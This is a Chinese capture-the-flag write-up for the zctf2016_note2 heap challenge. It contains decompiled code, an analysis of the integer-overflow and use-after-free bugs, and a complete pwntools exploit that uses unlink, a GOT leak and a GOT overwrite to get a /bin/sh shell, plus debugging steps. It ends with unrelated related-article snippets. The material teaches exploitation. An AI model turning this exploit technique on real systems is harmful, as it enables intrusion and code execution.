zctf2016_note2-堆利用-unlink

一、题目
题目:zctf2016_note2
题目描述:
二、WriteUp
(一)题目环境
glibc版本2.23 通过patchelf进行修改
(二)信息收集
$ checksec note2Arch:     amd64-64-littleRELRO:    Partial RELRO       # (.plt.got)段依然可写,只是(.got)段不在可写。Stack:    Canary foundNX:       NX enabled          # 栈不可执行PIE:      No PIE (0x400000)   # 未开启地址随机化 patchelf后基址可能会改变0x3ff000 但是还是用0x400000来做即可$ file note2
note2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=46dca2e49f923813b316f12858e7e0f42e4a82c3, stripped# 运行测试
$ ./note2
Input your name:
admin
Input your address:
0x00400000
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit# New note
option--->>
1
Input the length of the note content:(less than 128)
10
Input the note content:
1234567890
note add success, the id is 0# Show note
option--->>
2
Input the id of the note:
0
Content is 123456789# Edit note
option--->>
3
Input the id of the note:
0
do you want to overwrite or append?[1.overwrite/2.append]
1
TheNewContents:123
Edit note success!# Delete note
option--->>
4
Input the id of the note:
0
delete note success!
(三)IDA逆向分析
详见note2.i64文件
void __fastcall main(int a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);alarm(0x3Cu);                                 // 当程序执行到 alarm(60); 这行代码时,会设置一个定时器,1 分钟后发送 SIGALRM 信号给程序puts("Input your name:");                     // ".bss" 段是指 "Block Started by Symbol" 段,通常用于声明未初始化的全局或静态变量read_input(name, 64LL, 10);                   // .bss:00000000006020E0 name            db 40h dup(?)           ; DATA XREF: main+7C↑oputs("Input your address:");read_input(address, 96LL, 10);                // .bss:0000000000602180 address         db 60h dup(?)           ; DATA XREF: main+9A↑o// 0x10是换行符while ( 1 ){switch ( menu() ){case 1:New_note();                             // n快捷键修改函数名 /快捷键添加注释// malloc chunkbreak;case 2:Show_note();break;case 3:Edit_note();break;case 4:Delete_note();                          // free chunkbreak;case 5:puts("Bye~");exit(0);case 6:exit(0);default:continue;}}
}
// 改成void类型
void __fastcall New_note()
{unsigned int v0; // eaxunsigned int size; // [rsp+4h] [rbp-Ch]char *malloc_ptr; // [rsp+8h] [rbp-8h]if ( (unsigned int)note_count <= 3 ){puts("Input the length of the note content:(less than 128)");size = get_number();if ( size <= 0x80 ){malloc_ptr = (char *)malloc(size);puts("Input the note content:");read_input(malloc_ptr, size, 10);         // 通过read_input溢出覆盖nextchunkstrip_baifenhao(malloc_ptr);ptr[note_count] = malloc_ptr;             // 这里应该是数组,将void *ptr改为void *ptr[]sizes[note_count] = size;v0 = note_count++;printf("note add success, the id is %d\n", v0);}else{puts("Too long");}}else{puts("note lists are full");}
}
void __fastcall Show_note()
{int v0; // [rsp+Ch] [rbp-4h]puts("Input the id of the note:");v0 = get_number();if ( v0 >= 0 && v0 <= 3 ){if ( ptr[v0] )printf("Content is %s\n", (const char *)ptr[v0]);}
}
void __fastcall Edit_note()
{char *v0; // rbxint noteid; // [rsp+8h] [rbp-E8h]int choice; // [rsp+Ch] [rbp-E4h]char *note_content; // [rsp+10h] [rbp-E0h]__int64 note_size; // [rsp+18h] [rbp-D8h]char dest[128]; // [rsp+20h] [rbp-D0h] BYREFchar *v6; // [rsp+A0h] [rbp-50h]unsigned __int64 v7; // [rsp+D8h] [rbp-18h]v7 = __readfsqword(0x28u);if ( note_count ){puts("Input the id of the note:");noteid = get_number();if ( noteid >= 0 && noteid <= 3 ){note_content = (char *)ptr[noteid];note_size = sizes[noteid];if ( note_content ){puts("do you want to overwrite or append?[1.overwrite/2.append]");choice = get_number();if ( choice == 1 || choice == 2 ){if ( choice == 1 )dest[0] = 0;elsestrcpy(dest, note_content);v6 = (char *)malloc(0xA0uLL);strcpy(v6, "TheNewContents:");printf(v6);read_input(v6 + 15, 144LL, 10);strip_baifenhao(v6 + 15);v0 = v6;v0[note_size - strlen(dest) + 14] = 0;strncat(dest, v6 + 15, 0xFFFFFFFFFFFFFFFFLL);// strncat函数用于将字符串追加到另一个字符串的末尾,并指定最大追加字符数strcpy(note_content, dest);           // 存在堆溢出可能free(v6);puts("Edit note success!");}else{puts("Error choice!");}}else{puts("note has been deleted");}}}else{puts("Please add a note!");}
}
void __fastcall Delete_note()
{int noteiid; // [rsp+Ch] [rbp-4h]puts("Input the id of the note:");noteiid = get_number();if ( noteiid >= 0 && noteiid <= 3 ){if ( ptr[noteiid] ){free(ptr[noteiid]);ptr[noteiid] = 0LL;sizes[noteiid] = 0LL;puts("delete note success!");}}
}
// y快捷键修改变量的类型
unsigned __int64 __fastcall read_input(char *a1, __int64 a2, char a3)
{char buf; // [rsp+2Fh] [rbp-11h] BYREFunsigned __int64 i; // [rsp+30h] [rbp-10h]ssize_t v7; // [rsp+38h] [rbp-8h]for ( i = 0LL; a2 - 1 > i; ++i )              // 如果a2等于0,则-1无符号数为较大数,产生整数溢出{v7 = read(0, &buf, 1uLL);                   // 0表示标准输入文件描述符,&buf是一个指向缓冲区的指针,1uLL表示要读取的字节数if ( v7 <= 0 )exit(-1);if ( buf == a3 )                            // 若buf为0x10换行符,则退出循环break;a1[i] = buf;}a1[i] = 0;return i;
}
int menu()
{puts("1.New note\n2.Show  note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");return get_number();
}
int get_number()
{char nptr[24]; // [rsp+0h] [rbp-20h] BYREFunsigned __int64 v2; // [rsp+18h] [rbp-8h]v2 = __readfsqword(0x28u);read_input((__int64)nptr, 16LL, 10);return atoi(nptr);
}
(四)Payload分析
1. 函数分析
(1)New_note函数
该函数会malloc一个size大小的chunk,然后通过read_input函数将标准输入的字节保存到malloc_ptr中,即chunk的userdata
但是read_input函数存在整数溢出漏洞,当size=0时,malloc(0)会创建一个只包含chunk头的chunk,大小为0x20,但是在read_input函数中-1为0xFFFFFFFFFFFFFFFF(18446744073709551615),计算机可以理解为以无符号数进行比较,这时可以进行堆溢出。
另外最多可以malloc申请4个chunk(2)Show_note函数
该函数打印申请的chunk中userdata的内容(3)Edit_note函数
该函数可在chunk的userdata后覆盖内容或者追加内容
漏洞1:strncat函数未控制可以追加的大小,以及read_input(v6 + 15, 144LL, 10);可以写入0x90个字节,也可以导致堆溢出,但是这个利用方式不如New_note函数中的堆溢出漏洞方便利用
漏洞2:malloc(0xa0)返回的地址并没有设置为null,存在UAF漏洞(4)Delete_note函数
该函数free了申请的chunk
2. 漏洞利用分析
(1)由于申请的堆块的指针放在bss段上,即存在chunk指针的指针,所以考虑用unlink。
(2)利用unlink修改chunk指针变为chunk指针的指针低12字节的地址,变为bss段上的地址
(3)然后再通过edit功能更改存放chunk指针的内容,然后通过show功能,打印假的chunk指针指向内容,最终泄露libc的地址
(4)这里通过edit函数将free@got改为system函数的地址,让程序再次执行,并输入参数"/bin/sh\x00",即执行system("/bin/sh")拿shell。
3. 示意图
(1)创建3个chunk

在这里插入图片描述

(2)利用整数溢出进行堆溢出,构造fake_chunk和fake_chunk of nextchunk

在这里插入图片描述

(3)触发unlink

在这里插入图片描述

(五)Exploit撰写
# 在实际构造exp时需要先把与程序交互的函数写出
# 本题gdb.attach()断在menu菜单处并继续执行
# IDA中可以通过窗口最下方的行处快捷查看函数地址
# IDA中获取的地址
# .bss:0000000000602120 ptr             dq ?
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning) # 忽略 BytesWarningio = process("./note2")
# io = remote("abc",1234)elf = ELF('./note2')
libc = ELF('./libc-2.23.so')
# context.log_level = 'debug'def new(size,buf):io.sendlineafter("option--->>","1")io.sendlineafter("Input the length of the note content:(less than 128)",str(size))io.sendlineafter("Input the note content:",buf)def show(id):io.sendlineafter("option--->>","2")io.sendlineafter("Input the id of the note:",str(id))def edit(id,opt,buf):io.sendlineafter("option--->>","3")io.sendlineafter("Input the id of the note:",str(id))io.sendlineafter("do you want to overwrite or append?[1.overwrite/2.append]",str(opt))io.sendlineafter("TheNewContents:",buf)def delete(id):io.sendlineafter("option--->>","4")io.sendlineafter("Input the id of the note:",str(id))io.sendlineafter("name","admin")
io.sendlineafter("address","0x00400000")
# gdb.attach(io,"b *0x401030") 
# pause()ptr = 0x602120 
fake_prev_size = 0
fake_size = 0x80 + 0x20 + 0x1 # P:PREV_INUSE,记录前一个chunk块是否被分配,1表示被分配
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
payload = p64(fake_prev_size) + p64(fake_size) + p64(fake_fd) + p64(fake_bk)
new(0x80,payload)
new(0,'')
new(0x80,'1')delete(1)
new(0,b'A'*0x10 + p64(fake_size-1) + p64(0x90))delete(2)payload = b'A'*0x18 + p64(elf.got['atoi'])
edit(0,1,payload)show(0)
io.recvuntil("Content is ")
atoi_got = io.recvuntil("\n").strip() + b"\x00\x00"
libc_baseaddr = u64(atoi_got)-libc.symbols['atoi']edit(0,1,p64(libc_baseaddr + libc.symbols['system']))io.sendline("/bin/sh")
io.interactive()    
(六)GDB调试
python3 exp.py
heap
telescope $addr $addr_nums # 查看chunk的内容
bins
chunkinfo $addr
1. 创建3个chunk
ptr = 0x602120 
fake_prev_size = 0
fake_size = 0x80 + 0x20 + 0x1 # P:PREV_INUSE,记录前一个chunk块是否被分配,1表示被分配
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10payload = p64(fake_prev_size) + p64(fake_size) + p64(fake_fd) + p64(fake_bk)
new(0x80,payload)
new(0,'')
new(0x80,'1')

在这里插入图片描述

2. 释放chunk1
delete(1)

在这里插入图片描述

3. 申请chunk3 进行堆溢出,构造fake_chunk的nextchunk
new(0,b'A'*0x10 + p64(fake_size-1) + p64(0x90))

在这里插入图片描述

4. 触发unlink
可以看到ptr数组保存了两个指针
delete(2)

在这里插入图片描述

5. 泄露libc.baseaddr
现在ptr[0]指向0x602108,写入数据会覆盖ptr[0]的指针,然后打印ptr[0]指向的值会泄露atoi@got的地址
payload = b'A'*0x18 + p64(elf.got['atoi']) 
edit(0,1,payload)
show(0)
io.recvuntil("Content is ")
atoi_got = io.recvuntil("\n").strip() + b"\x00\x00"
libc_baseaddr = u64(atoi_got)-libc.symbols['atoi']

在这里插入图片描述

6. 覆盖atoi@got表地址为system@got
现在ptr[0]是atoi@got的地址,写入数据会覆盖atoi@got的值,如果覆盖为system@got,则执行程序触发atoi时,会执行system函数,而atoi的参数是通过用户输入的,即get_number函数,在输入option时输入/bin/sh即实现交互式shell
io.sendline("/bin/sh") 
edit(0,1,p64(libc_baseaddr + libc.symbols['system']))

在这里插入图片描述

三、参考链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/858504.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一些宏观理解

跳板机&#xff08;Jump Server&#xff09; 跳板机是一种中间服务器&#xff0c;用于在用户与目标服务器之间提供一个安全的访问点。它通常用于增强安全性&#xff0c;通过跳板机可以控制和审计对目标服务器的访问。用户首先连接到跳板机&#xff0c;然后从跳板机连接到目标服…

Redis-HyperLogLog数据类型及其常用命令详解

1.Redis概述 2.HyperLogLog数据类型 HyperLogLog&#xff08;HLL&#xff09;是一种用于近似计算大数据集合中唯一元素数量&#xff08;基数&#xff09;的概率性数据结构。 概率数据结构&#xff1a; HyperLogLog 使用的是一种概率算法&#xff0c;它可以在极少的内存消耗下估…

SpringBoot2+Vue3开发博客管理系统

项目介绍 博客管理系统&#xff0c;可以帮助使用者管理自己的经验文章、学习心得、知识文章、技术文章&#xff0c;以及对文章进行分类&#xff0c;打标签等功能。便于日后的复习和回忆。 架构介绍 博客管理系统采用前后端分离模式进行开发。前端主要使用技术&#xff1a;Vu…

黑龙江等保测评的具体流程是怎样的

黑龙江等保测评的具体流程 黑龙江等保测评是根据《中华人民共和国网络安全法》及相关法律法规&#xff0c;对信息系统安全保护能力进行评估和验证的过程。以下是黑龙江等保测评的具体流程&#xff1a; 系统定级&#xff1a;根据业务、资产、安全技术、安全管理等方面的情况&am…

鸿蒙HarmonyOS服务卡片实战

引言 在现代开发中&#xff0c;服务卡片是不可或缺的一部分&#xff0c;比如音乐&#xff0c;天气类等应用&#xff0c;官网的介绍中写道&#xff1a;卡片让您便捷地预览服务信息&#xff0c;例如查看天气或日历日程等内容。您可将卡片添加到屏幕上&#xff0c;让这类信息触手…

[C++][设计模式][观察者模式]详细讲解

目录 1.动机2.模式定义3.要点总结4.代码感受1.代码一1.FileSplitter.cpp2.MainForm.cpp 2.代码二1.FileSplitter.cpp2.MainForm.cpp 1.动机 在软件构建过程中&#xff0c;需要为某些对象建立一种“通知依赖关系” 一个对象(目标对象)的状态发生改变&#xff0c;所有的依赖对象…

2024.6.22刷题记录-力扣周赛402跟练记录(未完)

目录 一、跟练视频 二、3184. 构成整天的下标对数目 I 暴力 三、3185. 构成整天的下标对数目 II 不会&#xff0c;来自视频。 一、跟练视频 【值域打家劫舍 树状数组【力扣周赛 402】-哔哩哔哩】 https://b23.tv/iDc49pt 二、3184. 构成整天的下标对数目 I 暴力 class …

C语言 将“China”译成密码

将“China”译成密码&#xff0c;密码规律是&#xff1a;用原来的字母后面的第4个字母代替原来的字母。例如&#xff0c;字母“A”后面的第4个字母是“E”&#xff0c;用“E”代替“A”。因此&#xff0c;“China”应译为“Glmre”。编译程序用付赋初值的方法使c1&#xff0c;c…

Clickhouse 的性能优化实践总结

文章目录 前言性能优化的原则数据结构优化内存优化磁盘优化网络优化CPU优化查询优化数据迁移优化 前言 ClickHouse是一个性能很强的OLAP数据库&#xff0c;性能强是建立在专业运维之上的&#xff0c;需要专业运维人员依据不同的业务需求对ClickHouse进行有针对性的优化。同一批…

9、PHP 实现调整数组顺序使奇数位于偶数前面

题目&#xff1a; 调整数组顺序使奇数位于偶数前面 描述&#xff1a; 输入一个整数数组&#xff0c;实现一个函数来调整该数组中数字的顺序&#xff0c;使得所有的奇数位于数组的前半部分&#xff0c; 所有的偶数位于位于数组的后半部分&#xff0c;并保证奇数和奇数&#xff…

基于深度学习的旋转包围盒检测

基于深度学习的旋转包围盒检测 旋转包围盒检测是一种高级目标检测方法&#xff0c;旨在识别图像中目标的精确位置和方向。与传统的轴对齐矩形框&#xff08;水平包围盒&#xff09;不同&#xff0c;旋转包围盒&#xff08;Rotated Bounding Box, RBB&#xff09;允许检测框随目…

速盾:视频cdn和网站cdn的区别

在互联网的发展过程中&#xff0c;视频的重要性越来越被人们所重视&#xff0c;视频内容的传播和观看需求也越来越大。为了提供更好的用户体验和满足视频内容的高负载需求&#xff0c;加快视频的加载速度&#xff0c;视频CDN&#xff08;Content Delivery Network&#xff0c;内…

一、企业级架构设计-archimate基础概念

目录 一、标准 二、实现工具 1、Archimate 1、Archimate 基本概念 1、通用元模型 2、结构关系 3、依赖关系 1、服务关系 2、访问关系 3、影响关系 1、影响方式 2、概念 3、关系线 4、案例 4、关联关系 4、动态、节点和其他关系 1、时间或因果关系 2、信息流 …

缓存层持久化

** 读缓存** 分布式缓存 先将所有的缓存数据集中存储在同一个地方&#xff0c;而非重复保存到各个服务器节点中&#xff0c;然后所有的服务器节点都从这个地方读取数据 使用MongoDB的公司最少&#xff0c;目前&#xff0c;Redis比Memcached更流行&#xff1a; &#xff08;1&…

MySQL——Insert语句详解

语法&#xff1a; INSERT INTO 表名&#xff08;[字段名1&#xff0c;字段名2&#xff0c;字段名3]&#xff09;VALUES(值1),(值2),(值3), 注意事项&#xff1a; 字段和字段之间&#xff0c;使用英文逗号隔开 字段是可以省略的&#xff0c;但是后面的值必须一一对应&…

采集数据类型和方法

采集的类型: 命名实体&#xff1a;命名实体包括人名、地点、组织、时间表达式、数量等。这些实体通常对理解和分类文本内容至关重要。 关键词和短语&#xff1a;这些是文本中的核心概念&#xff0c;可能代表了主题或中心思想。 句子或段落&#xff1a;根据需求&#xff0c;可…

【操作系统】信号Signal超详解|捕捉函数

&#x1f525;博客主页&#xff1a; 我要成为C领域大神&#x1f3a5;系列专栏&#xff1a;【C核心编程】 【计算机网络】 【Linux编程】 【操作系统】 ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 本博客致力于知识分享&#xff0c;与更多的人进行学习交流 ​ 如何触发信号 …

【深度学习】Position Wise 到底是什么,有什么用

1. 遇到的问题 今天在看 Transformers 的前生今世 的时候&#xff0c;又一次看到了 Position Wise &#xff0c;经常看到但老是一知半解&#xff0c;故索性查了一下&#xff0c;发现网上的都没怎么细讲其缘由&#xff0c;有点差强人意&#xff0c;于是我又用咱们最喜欢的 GPT-…

Django 路由系统详解

Django 路由系统详解 引言 Django 是一个高级 Python Web 框架,它鼓励快速开发和干净、实用的设计。在 Django 中,路由系统是其核心组件之一,负责将用户的请求映射到相应的视图函数或类。本文将深入探讨 Django 的路由系统,包括其工作原理、配置方式以及高级功能。 目录…

vue2和vue3数据代理的区别

前言&#xff1a; vue2 的双向数据绑定是利⽤ES5的⼀个 API &#xff0c;Object.defineProperty( )对数据进行劫持结合发布订阅模式的方式来实现的。 vue3 中使⽤了 ES6的Proxy代理对象&#xff0c;通过 reactive() 函数给每⼀个对象都包⼀层Proxy&#xff0c;通过 Proxy监听属…